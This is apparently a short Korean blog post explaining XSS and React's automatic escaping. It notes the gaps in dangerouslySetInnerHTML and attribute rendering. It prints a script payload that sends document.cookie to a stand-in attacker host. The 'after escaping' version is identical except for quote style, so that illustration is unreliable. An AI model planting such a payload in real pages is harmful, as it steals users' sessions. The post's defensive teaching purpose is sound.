XSS(크로스 사이트 스크립팅) 공격은 여러 사람들이 보는 글에 임의의 스크립트를 주입하여, 해당 글을 다른 사용자가 읽을 때 임의의 스크립트를 실행하게 만들어 사용자의 정보(쿠키, 세션)을 탈취하거나 비정상적인 기능을 수행하도록 만드는 공격이다.
<!-- 이스케이프 전 -->
<script>
let xmlHttp = new XMLHttpRequest();
const url =
'http://hackerServer.com?victimCookie=' +
document.cookie;
xmlHttp.open('GET', url);
xmlHttp.send();
</script>
<!-- 이스케이프 후 -->
<script>
let xmlHttp = new XMLHttpRequest();
const url =
"http://hackerServer.com?victimCookie=" +
document.cookie;
xmlHttp.open("GET", url);
xmlHttp.send();
</script>
리액트는 XSS를 방어하기 위해 렌더링 되기 전 자동적으로 값이 escape 되어 HTML 본연의 태그나 스크립트 기능을 제거하여 XSS 공격을 방지하고 있다.
하지만 자동적으로 escape 되는 것은 div>{기본 데이터}</div>
와 같이 기본 데이터 바인딩시에만 일어나며 dangerouslySetInnerHTML
를 사용하거나 <form action={data}>
와 같이 다른 HTML attributes를 렌더링할 때에는 일어나지 않는다. 따라서 이때 (JSON.stringify(state).replace(/</g, "\\u003c");
”<”를 사용하지 못하도록 만듦) 와 같은 시큐어 코딩이 필요하다.
참고사이트: https://onlydev.tistory.com/78, https://themoin.github.io/2020-11-02-SecureFrontend/